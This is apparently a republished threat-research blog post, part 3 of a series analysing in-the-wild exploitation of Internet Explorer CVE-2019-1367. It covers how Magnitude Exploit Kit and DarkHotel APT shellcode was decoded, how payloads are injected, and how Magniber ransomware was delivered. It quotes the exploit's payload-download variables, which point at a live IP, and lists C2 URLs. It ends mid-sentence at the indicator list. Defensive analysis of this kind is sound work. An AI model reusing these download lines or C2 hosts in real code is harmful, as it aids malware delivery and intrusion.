Internet Explorer CVE-2019–1367 Exploitation — part 3

Read the original article: Internet Explorer CVE-2019–1367 Exploitation — part 3

---

Internet Explorer CVE-2019–1367 Exploitation — part 3

Shellcode Analysis

Extracting shellcode of Magnitude Exploit KIT

After successful exploitation of CVE-2019–1367, malicious Magnitude Exploit Kit shellcode instructions are executed. First stubs are a simple shellcode loader that ultimately does the following:

• Allocates memory via a kernel32!VirtualAlloc with PAGE_EXECUTE_WRITECOPY permissions
• Copies shellcode to the allocated memory using kernel32!RtlMoveMemory()
• Launches the shellcode via via CreateThread()

We have different breakpoint options here to dump the loaded shellcode unmodified, we can set a breakpoint on CreateThread() and dump the memory pointer in the third argument which is the memory area containing the shellcode, in our testing environment it was at 0x1a60000:

← Shellcode copied to memory.

Finally we will dump this shellcode to a dump file for further analysis:

Analyzing shellcode of Magnitude Exploit KIT

In the last section we successfully located the shellcode and dumped it into a file for this analysis.

Many ways of analyzing shellcodes do exist, each having pros and cons . We will attempt to reverse engineer this shellcode in the most efficient & controlled way.

Loading the shellcode in radare2 we can already start seeing some important indicators near the entry point address:

This shellcode have all the signs showing that it has been encoded by a Shikata ga nai polymorphic encoder:

• The use of FPU instructions (ffree st(2))
• Get EIP trick using fnstenv, (here EDX will hold last address of FPU instruction execution)
• Simple XOR loop to decode instructions that should be there but we don’t see it yet.. we have to emulate a few instructions (self modifying code)

Note: Shikata ga nai is a Polymorphic XOR Additive Feedback Encoder Module available in the encoder module encoder/x86/shikata_ga_nai in Metasploit. This encoder implements a polymorphic XOR additive feedback encoder. The decoder stub is generated based on dynamic instruction substitution and dynamic block ordering. Registers are also selected dynamically.

With radare2 we can start emulating the first instructions via the command ‘aes’. We continue emulation until we see the loop instruction that is part of the shikata_ga_nai XOR decoding routine:

At this point our assumptions were correct and we confirmed that Shikata ga nai was used. Now we have to get rid of it via emulation.

We will use radare2 and its ESIL virtual machine stack for emulation. We will have to take care of a special scenario as ESIL doesn’t speak FPU instructions so the Shikata ga nai “get EIP” technique with fnstenv will not work if emulated.

For that we will cheat and use a simple trick which consist of detecting where the first FPU instruction was executed, and store that into the top of the stack . That’s basically shortcutting the fnstenv instruction.

Note: fnstenv saves the current FPU operating environment at a memory location specified and then mask all the floating point exceptions. the FPU operating environment consist of FPU control word, status word, tag word, instruction pointer, data pointer and last opcode.

As seen in the note fnstenv does a lot of things but we are only interested on getting the instruction pointer, aka get EIP trick and we will do that the following :

• Continuously recording the offset of the last FPU instruction executed.
• if we encounter the fnstenv instruction, copy the offset of the last FPU instruction into the top of the stack

The above can be achieved with the following ESIL/r2pipe code:

Next we want to decode the shikata ga nai using the following general steps below:

• Get base address of the shellcode and size of shellcode
• If FPU instruction found, we record where it was found
• If fnstenv found we store the address of the last FPU instruction into esp (bypassing non implemented fnstenv instruction)
• Continue emulating the decryption , until loop instruction is found and the counter inferior to 1 (which means the last loop iteration)
• Once there we dump all the bytes pass the decoder and get rid of it.

Below python 3.x r2pipe code that does exactly that:

If we run the code above the result is a nice decoded and clean shellcode:

With the shellcode decoded, and the Win32 API resolved, we can then start analyzing and decompiling this shellcode. After our analysis here is what this shellcode does:

• Get the current process integrity levels via subsequent calls to: OpenProcessToken, GetTokenInformation,GetSidSubAuthority, as seen in the decompiled code below:

Checking the SubAuthority field of a SID structure against 0x1000 and 0x4000 which corresponds low and system integrity levels respectively:

• SECURITY_MANDATORY_LOW_RID (SID: S-1–16–0x1000)
• SECURITY_MANDATORY_SYSTEM_RID (SID: S-1–16–0x4000)

Depending on the current process integrity level two slightly different execution paths will be taken as we will see later.

Once the current privileges are checked, an HTTP request is created to download a payload:

The current download URL that was requested: http://pophost[.]website/fz7bf0bh21atbt

We note that Integrity levels are passed to the HTTP request, during the request of file download directly appended to the name of the file. It seems the downloaded payload will be different depending if we are in low integrity levels or not.

After the payload has been downloaded, it will be injected in memory of target process depending on the integrity levels. If the current process have Low integrity levels, the payload will be injected in the current process (here will be Internet Explorer).

If the current process have anything different than Low Integrity level (for example Medium, High or System integrity level) the shellcode will loop through running process and will inject in those with Medium or High Integrity levels:

Finally the process injection mechanism used by this shellcode is via WriteProcessMemory in the target process where space is allocated via VirtualAllocEX and then the payload will be executed via CreateRemoteThread:

The payload downloaded and injected by this shellcode is also a shellcode:

The same techniques used to analyze the first shellcode, will be used here. We emulated the first few instructions, and we indeed have another shikata ga nai encoded shellcode:

we will run the exact same script we used to fully decode and extract the first shellcode, the script works successfully and decode it all:

This shellcode will decrypt and load Magniber ransomware that ended up running inside taskhost.exe, ultimately via a process hollowing mechanism:

We can already see a huge amount of CPU cycles and read/writes IO’s (beside taskhost.exe consuming 50% of the CPU..)

Finally, a ransom note is loaded after the completion of the encryption process or when users tries to kill the infected taskhost.exe process manually:

Extracting shellcode of Darkhotel APT

By practicing browser exploit analysis in Windows, it seems that most of these browser exploits have a common “bottle neck” instruction, which is the kernel32!VirtualProtect.

This function as we saw previously grants the execution privilege for the shellcode to execute.

Simply setting a breakpoint at this function enables us to locate the shellcode passed in its first argument.

Analyzing shellcode of DarkHotel APT 32bits flavor

With the difference with Magnitude EK shellcode, DarkHotel APT shellcode isn’t obfuscated, the shellcode analysis is very straightforward by simply single stepping on the shellcode instructions.

In short, the shellcode checks whether the current process is “svchost.exe”. If not, it downloads itself once again as a PAC file with WinHttpGetProxyForUrl using the url present in the exploit code in variable b:

var b = "http://202.122.128.28/js/client/index/186.js";

When this exploit is loaded as a PAC file, the retrieved process name will be “svchost.exe”, and the shellcode downloads a file and executes it.

The downloaded file is configured in the exploit code inside variable a:

var a = "http://202.122.128.28/js/client/index/user_list.db";

The file when downloaded is a PE file, with the two first bytes corrupted MZ header. The first two bytes were replaced by JP (probably for Japan targeting ?)

This file is a DLL, with one export _init, seems to run some host fingerprinting to eventually call back home to download and execute additional files from the C2 server:

hxxp://www.largeurlcache.com/ixx/u3/qmgj.32
hxxp://www.largeurlcache.com/ixx/u3/scrobi.32
hxxp://www.largeurlcache.com/ixx/u3/qmgj.64
hxxp://www.largeurlcache.com/ixx/u3/scrobi.64

Note: An interesting string found inside this DLL, ColdBrew32.dll

At this time of analysis, the files were removed from the C2 so we couldn’t move forward with the analysis.

However based on a very similar attack analyzed by the Japan CERT reporting, a Gh0st RAT variant was used as a payload.

Final thoughts

The captured DarkHotel APT CVE-2019–1367 Internet Explorer in the wild exploit is a complex and rather sophisticated piece of code.

Magnitude Exploit KIT used the same DarkHotel x32 exploit, obfuscated it and did some modifications to be able to run their own obfuscated shellcode and bypass a South Korean security vendor anti-malware solution.

Based on the timeline of the attacks, this seems to be yet another exploit integration by Magnitude Exploit KIT actors.

Any attempted modification to the original DarkHotel APT exploit requires a very good understanding of how the exploit worked, and it is definitely not an easy task to do (not as easy as replacing the shellcode bytes)

Which suggests Magnitude EK have a great set of browser exploitation skills as well, and this has been their bread and butter for the last 10 years.

As for DarkHotel APT, they are still on top of the chain in terms of technical skills and resources, their sophistication level is definitely Innovator since they have the ability to create 0-Day exploits from scratch, and create new and innovative attacks and toolkits.

One interesting topic of investigation would be to study how these exploits were passed along between these two actors. It would be interesting to know the following:

• If these two actors are related, and therefore share exploits.
• If a third party is involved, selling and/or integrating the exploits for both actors.
• If these two actors are unrelated, with one tracking the other in an attempt to integrate and repurpose exploits.

Note: An example of a third party selling exploits to both APTs and cyber criminals is dubbed “Volodya”, “Volodimir” or “BuggiCorp” based on a recent Kaspersky report covering Magnitude EK.

This will help understand if any relationship exists between these geographically close actors and also to understand Browser exploits life cycle in general.

Finally, we hope this blog series shed some lights on Magnitude EK and DarkHotel APT techniques and the exploits used in the wild.

Below is our list of IOC’s for CVE-2019–1367 expl

[…]

---

Read the original article: Internet Explorer CVE-2019–1367 Exploitation — part 3